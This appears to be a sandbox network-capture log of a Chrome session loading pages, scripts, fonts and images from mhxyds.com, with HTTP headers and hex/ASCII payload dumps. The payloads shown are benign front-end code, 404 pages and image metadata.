Last-Modified: Mon, 06 Feb 2017 03:52:00 GMT
Accept-Ranges: bytes
ETag: "1D2802C5E873000"
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-XSS-Protection: 1;mode=block
Content-Security-Policy: default-src https:; script-src   https: 'unsafe-inline' 'unsafe-eval'; child-src  'self' https:; font-src 'self' 
fonts.googleapis.com use.typekit.net  fonts.gstatic.com; img-src 'self'  data: https:; media-src 'self'; object-src 'self';style-src 
'self' 'unsafe-inline'  fonts.googleapis.com use.typekit.net  fonts.gstatic.com  ;
Date: Thu, 11 Aug 2022 03:43:33 GMT
Content-Length: 5217
Set-Cookie: NSC_Ijqqp-JS-Tjuft=ffffffffaf171fd945525d5f4f58455e445a4a423660;path=/;secure;httponly

2022-08-11 03:43:33 UTC 14917 IN Data Raw: 2f 2f 20 4a 61 76 61 53 63 72 69 70 74 20 44 6f 63 75 6d 65 6e 74 0d 0a 0d 0a 24 28 64 6f 63 75 6d 65 6e 74 
29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 24 28 22 69 6e 70 75 74 23 4b 65 79 77 
6f 72 64 53 65 61 72 63 68 22 29 2e 61 74 74 72 28 22 70 6c 61 63 65 68 6f 6c 64 65 72 22 2c 20 22 4b 65 79 77 6f 72 64 
20 53 65 61 72 63 68 22 29 3b 0d 0a 7d 29 3b 0d 0a 0d 0a 2f 2a 2a 2a 20 53 48 41 52 45 20 50 52 49 43 45 20 43 48 41 
52 54 20 53 54 59 4c 45 53 20 26 20 4d 4f 44 49 46 49 43 41 54 49 4f 4e 53 20 2a 2a 2a 2f 0d 0a 66 75 6e 63 74 69 6f 6e 
20 63 68 61 72 74 73 43 6f 6e 66 69 67 28 29 20 7b 0d 0a 20 20 76 61 72 20 66 6f 6e 74 43 6f 6e 66 69 67 20 3d 20 7b 2
0 66 6f 6e 74 46 61 6d 69 6c 79 3a 20 27 48 65 6c 76 65 74 69 63 
Data Ascii: // JavaScript Document$(document).ready(function() {    $("input#KeywordSearch").attr("placeholder", "Keywor
d Search");});/*** SHARE PRICE CHART STYLES & MODIFICATIONS ***/function chartsConfig() {  var fontConfig = { 
fontFamily: 'Helvetic

Session ID Source IP Source Port Destination IP
Destination
Port

Process

375 118.27.105.118 443 192.168.11.20 58018 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:33 UTC 14922 IN HTTP/1.1 304 Not Modified
Server: nginx
Date: Thu, 11 Aug 2022 03:43:33 GMT
Last-Modified: Wed, 21 Oct 2020 17:26:50 GMT
Connection: close
ETag: "5f906f5a-587b"
Expires: Sat, 10 Sep 2022 03:43:33 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000

Session ID Source IP Source Port Destination IP
Destination
Port

Process

376 118.27.105.118 443 192.168.11.20 58019 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:33 UTC 14922 IN HTTP/1.1 304 Not Modified
Server: nginx
Date: Thu, 11 Aug 2022 03:43:33 GMT
Last-Modified: Thu, 17 Sep 2020 14:28:00 GMT
Connection: close
ETag: "5f637270-5065"
Expires: Sat, 10 Sep 2022 03:43:33 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000

Session ID Source IP Source Port Destination IP
Destination
Port

Process

377 192.168.11.20 52655 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:34 UTC 15007 OUT GET /jpg/hero%20peicc2c4.jpg?mw=285&hash=3E47FCE246A72FBA35DB1562D6F9DD053E0F5355 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com
If-Modified-Since: Wed, 23 Jan 2019 08:50:08 GMT
If-None-Match: "5c482ac0-61ce"

Session ID Source IP Source Port Destination IP
Destination
Port

Process

378 192.168.11.20 52654 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:34 UTC 15007 OUT GET /jpg/vince-pezzulo-know-746x419-1bc7b.jpg?mw=285&hash=4367719F71F1327D4D3A17742A8CB2EAE99B6676 
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com
If-Modified-Since: Mon, 06 Jul 2020 10:39:38 GMT
If-None-Match: "5f02ff6a-3a9d"

Session ID Source IP Source Port Destination IP
Destination
Port

Process

38 192.168.11.20 62634 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:42 UTC 473 OUT GET /css/fonts/helvetica-neue/2DF85E_1_0.woff HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

39 192.168.11.20 52331 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:42 UTC 473 OUT GET /css/fonts/helvetica-neue/2DF85E_0_0.woff HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

4 172.217.168.237 443 192.168.11.20 49880 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:37 UTC 33 IN HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: https://www.google.com
Access-Control-Allow-Credentials: true
X-Content-Type-Options: nosniff
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 11 Aug 2022 03:42:37 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains
Cross-Origin-Opener-Policy: same-origin; report-to="IdentityListAccountsHttp"
Content-Security-Policy: script-src 'report-sample' 'nonce-is77FtsYJbhWp2otT73y4g' 'unsafe-inline';object-src 'none';base-
uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self'
Content-Security-Policy: script-src 'nonce-is77FtsYJbhWp2otT73y4g' 'self' https://apis.google.com https://ssl.gstatic.com 
https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp
/cspreport
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-M
odel, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-
platform=*, ch-ua-platform-version=*
Report-To: {"group":"IdentityListAccountsHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/rep
ort-to/IdentityListAccountsHttp/external"}]}
Server: ESF
X-XSS-Protection: 0
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2022-08-11 03:42:37 UTC 35 IN Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a 
Data Ascii: 11["gaia.l.a.r",[]]

2022-08-11 03:42:37 UTC 35 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

40 192.168.11.20 49444 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:42 UTC 474 OUT GET /css/fonts/vendor/bootstrap/glyphicons-halflings-regular.woff HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

41 192.168.11.20 56593 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:42 UTC 474 OUT GET /js/scripts.minae46.js?v=636543446537551987 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/contact.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

42 192.168.11.20 64173 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:42 UTC 475 OUT GET /~/media/perpetualpeic/images/hero-sp-banners/website-image-1_1665x550.ashx?w=2200&hash=BE4181F0
4B84F74A757ECFDF8522E33EE398B202 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/contact.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

43 192.168.11.20 63843 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:42 UTC 476 OUT GET /jpg/mark-williams-55x737d89.jpg?la=en&hash=DAB406866593F5A84CB2B04761E87935CE8408D4 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/contact.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

44 118.27.105.118 443 192.168.11.20 62634 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:43 UTC 476 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:43 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:43 UTC 476 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

45 118.27.105.118 443 192.168.11.20 52331 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:43 UTC 477 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:43 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:43 UTC 477 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

46 118.27.105.118 443 192.168.11.20 49444 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:43 UTC 478 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:43 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:43 UTC 478 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

47 118.27.105.118 443 192.168.11.20 64173 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:43 UTC 478 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:43 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:43 UTC 479 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

48 118.27.105.118 443 192.168.11.20 63843 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:43 UTC 479 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:43 GMT
Content-Type: image/jpeg
Content-Length: 3400
Last-Modified: Wed, 16 Sep 2020 16:53:12 GMT
Connection: close
ETag: "5f6242f8-d48"
Expires: Sat, 10 Sep 2022 03:42:43 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:43 UTC 479 IN Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 
79 00 01 00 04 00 00 00 50 00 00 ff e1 03 7c 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 
2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 
48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 
64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 
2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 34 36 30 2c 20 32 30 32 30 2f 30 35 2f 31 32 2d 31 36 3a 30 34 3a 31 37 20 
20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 
Data Ascii: ExifII*DuckyP|http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xm
pmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164460, 2020/05/12-16:04:17        "> <rdf:RDF 
xm

Session ID Source IP Source Port Destination IP
Destination
Port

Process

49 118.27.105.118 443 192.168.11.20 56593 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:43 UTC 483 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:43 GMT
Content-Type: application/javascript
Content-Length: 210364
Last-Modified: Thu, 15 Feb 2018 00:24:12 GMT
Connection: close
Vary: Accept-Encoding
ETag: "5a84d32c-335bc"
Expires: Thu, 11 Aug 2022 15:42:43 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:43 UTC 483 IN Data Raw: 2f 2a 21 20 72 65 61 63 74 69 76 65 20 32 30 31 36 2d 31 30 2d 32 34 20 2a 2f 0a 66 75 6e 63 74 69 6f 6e 20 
50 6f 69 6e 74 65 72 45 76 65 6e 74 73 50 6f 6c 79 66 69 6c 6c 28 61 29 7b 69 66 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 
3d 7b 73 65 6c 65 63 74 6f 72 3a 22 2a 22 2c 6d 6f 75 73 65 45 76 65 6e 74 73 3a 5b 22 63 6c 69 63 6b 22 2c 22 64 62 
6c 63 6c 69 63 6b 22 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 22 6d 6f 75 73 65 75 70 22 5d 2c 75 73 65 50 6f 6c 79 66 69 
6c 6c 49 66 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 22 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 65 74 20 45 
78 70 6c 6f 72 65 72 22 3d 3d 6e 61 76 69 67 61 74 6f 72 2e 61 70 70 4e 61 6d 65 29 7b 76 61 72 20 61 3d 6e 61 76 69 
67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 3b 69 66 28 6e 75 
Data Ascii: /*! reactive 2016-10-24 */function PointerEventsPolyfill(a){if(this.options={selector:"*",mouseEvents:["clic
k","dblclick","mousedown","mouseup"],usePolyfillIf:function(){if("Microsoft Internet Explorer"==navigator.appName){var a
=navigator.userAgent;if(nu
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2022-08-11 03:42:43 UTC 499 IN Data Raw: 62 70 72 69 6e 74 3d 63 2b 65 2e 74 68 75 6d 62 70 72 69 6e 74 2c 65 2e 61 6a 61 78 2e 74 79 70 65 3d 65 
2e 61 6a 61 78 2e 74 79 70 65 7c 7c 22 47 45 54 22 2c 65 2e 61 6a 61 78 2e 64 61 74 61 54 79 70 65 3d 65 2e 61 6a 61 
78 2e 64 61 74 61 54 79 70 65 7c 7c 22 6a 73 6f 6e 22 2c 21 65 2e 75 72 6c 26 26 61 2e 65 72 72 6f 72 28 22 70 72 65 6
6 65 74 63 68 20 72 65 71 75 69 72 65 73 20 75 72 6c 20 74 6f 20 62 65 20 73 65 74 22 29 29 2c 65 7d 66 75 6e 63 74 
69 6f 6e 20 66 28 63 29 7b 66 75 6e 63 74 69 6f 6e 20 64 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 
63 29 7b 72 65 74 75 72 6e 20 62 2e 64 65 62 6f 75 6e 63 65 28 63 2c 61 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 65 28 61 
29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 
Data Ascii: bprint=c+e.thumbprint,e.ajax.type=e.ajax.type||"GET",e.ajax.dataType=e.ajax.dataType||"json",!e.url&&a.error
("prefetch requires url to be set")),e}function f(c){function d(a){return function(c){return b.debounce(c,a)}}function e(a)
{return function(c){retu

2022-08-11 03:42:44 UTC 518 IN Data Raw: 65 64 2c 74 68 69 73 29 2e 6f 6e 53 79 6e 63 28 22 63 6c 6f 73 65 64 22 2c 74 68 69 73 2e 5f 6f 6e 43 6c 6f 73 
65 64 2c 74 68 69 73 29 2e 6f 6e 41 73 79 6e 63 28 22 64 61 74 61 73 65 74 52 65 6e 64 65 72 65 64 22 2c 74 68 69 73 
2e 5f 6f 6e 44 61 74 61 73 65 74 52 65 6e 64 65 72 65 64 2c 74 68 69 73 29 2c 0a 74 68 69 73 2e 69 6e 70 75 74 3d 6e 
65 77 20 6f 28 7b 69 6e 70 75 74 3a 66 2c 68 69 6e 74 3a 67 7d 29 2e 6f 6e 53 79 6e 63 28 22 66 6f 63 75 73 65 64 22 2c 
74 68 69 73 2e 5f 6f 6e 46 6f 63 75 73 65 64 2c 74 68 69 73 29 2e 6f 6e 53 79 6e 63 28 22 62 6c 75 72 72 65 64 22 2c 74 
68 69 73 2e 5f 6f 6e 42 6c 75 72 72 65 64 2c 74 68 69 73 29 2e 6f 6e 53 79 6e 63 28 22 65 6e 74 65 72 4b 65 79 65 64 
22 2c 74 68 69 73 2e 5f 6f 6e 45 6e 74 65 72 4b 65 79 65 64 2c 
Data Ascii: ed,this).onSync("closed",this._onClosed,this).onAsync("datasetRendered",this._onDatasetRendered,this),this.i
nput=new o({input:f,hint:g}).onSync("focused",this._onFocused,this).onSync("blurred",this._onBlurred,this).onSync("enter
Keyed",this._onEnterKeyed,

2022-08-11 03:42:44 UTC 534 IN Data Raw: 69 73 2e 24 62 6f 64 79 29 2c 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e 6f 6e 28 22 63 6c 69 63 6b 2e 64 69 
73 6d 69 73 73 2e 62 73 2e 6d 6f 64 61 6c 22 2c 61 2e 70 72 6f 78 79 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 
72 6e 20 74 68 69 73 2e 69 67 6e 6f 72 65 42 61 63 6b 64 72 6f 70 43 6c 69 63 6b 3f 76 6f 69 64 28 74 68 69 73 2e 69 67 
6e 6f 72 65 42 61 63 6b 64 72 6f 70 43 6c 69 63 6b 3d 21 31 29 3a 76 6f 69 64 28 61 2e 74 61 72 67 65 74 3d 3d 3d 61 2e 
63 75 72 72 65 6e 74 54 61 72 67 65 74 26 26 28 22 73 74 61 74 69 63 22 3d 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 
62 61 63 6b 64 72 6f 70 3f 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 5b 30 5d 2e 66 6f 63 75 73 28 29 3a 74 68 69 73 2e 
68 69 64 65 28 29 29 29 7d 2c 74 68 69 73 29 29 2c 66 26 26 74 
Data Ascii: is.$body),this.$element.on("click.dismiss.bs.modal",a.proxy(function(a){return this.ignoreBackdropClick?void
(this.ignoreBackdropClick=!1):void(a.target===a.currentTarget&&("static"==this.options.backdrop?this.$element[0].focus()
:this.hide()))},this)),f&&t

